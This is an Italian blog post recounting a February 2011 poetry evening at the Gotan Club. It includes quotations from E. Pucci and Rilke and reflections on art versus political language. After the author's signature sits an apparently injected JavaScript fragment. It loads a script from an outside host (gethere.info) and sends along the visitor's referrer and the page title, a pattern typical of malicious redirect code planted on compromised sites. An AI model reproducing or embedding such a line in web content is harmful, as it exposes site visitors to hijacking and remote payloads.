26 Febbraio 2011 – I poeti si confessano

Sabato, 26 Febbraio 2011, presso i locali del Gotan Club, si è tenuto l’incontro dal titolo “I poeti si confessano”. Per un’intera serata, i poeti, ci hanno permesso di raggiungerli lungo la strada dei ricordi; in una profonda e sottile alchimia di parole e raffinati silenzi. Ci hanno così raccontato di un mondo fatto di profonde incertezze, speranze, frustrazioni e febbrili ardori. Ce ne hanno lasciato una testimonianza e ora un ricordo.
<<... Cercando di celare la paura di chi si vuol nascondere, e dovendo rinnovare “il piacere” di sentirsi abbandonati, pur sempre in compagnia... >> E.Pucci

Questi artisti si sono aperti placidamente di fronte a un pubblico confortevole,
ma, a ciascuno di loro, intimamente estraneo. E’ stato facile poi, in un contesto così attinente, che la serata sfociasse in un’appassionato dibattito sull’arte e sui suoi reali quesiti. L’arte sceglie ed è naturalmente scelta; si modifica nel tempo, soffre delle varie interpretazioni e influenze esterne. Camaleontica, si muove a metà strada tra il contesto sociale e la soggettività dell’artista.
<< Le cose non si possono tutte afferrare e dire come d’abitudine ci vorrebbero far credere; la maggior parte degli eventi sono indicibili, si compiono in uno spazio inaccesso alla parola, e più indicibili di tutto sono le opere d’arte, esistenze piene di mistero la cui vita, accanto all’effimera nostra, perdura...>>
<<...Lei guarda all’esterno, ed è appunto questo che ora non dovrebbe fare. Nessuno può darle consiglio o aiuto, nessuno. Non v’è che un mezzo. Guardi dentro di sé. Si interroghi sul motivo che le intima di scrivere; verifichi se esso protenda le radici nel punto più profondo del suo cuore; confessi a se stesso: morirebbe, se le fosse negato di scrivere? Questo soprattutto: si domandi, nell’ora più quieta della sua notte: devo scrivere? Frughi dentro di sé alla ricerca di una profonda risposta. E se sarà di assenso, se lei potrà affrontare con un forte e semplice «io devo» questa grave domanda, allora costruisca la sua vita secondo questa necessità >>. R.M. Rilke
In un’epoca come la nostra che semina e raccoglie sempre meno cultura; che stravolge il senso delle parole anche per fini politici, che si accompagna, cito testualmente i nostri poeti, di un << linguaggio che ha perso di criticità >>, il poeta si identifica come un “suggeritore”: colui che << può ridare significato>>. E in questo senso << la poesia è l'antitesi del linguaggio politico>>.
E’ stata una serata affascinante, mai banale, e capace di ispirare profonde riflessioni. Il dialogo dell’arte con l’universo richiede un nobile ascoltare, ma, solo chi ha il coraggio di domandarsi il “perché” delle cose vive felice e/o appagato; e in effetti è da qui che siamo partiti: da un bellissimo incontro di poesia.

Roberta Masala

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Post Tagged with ,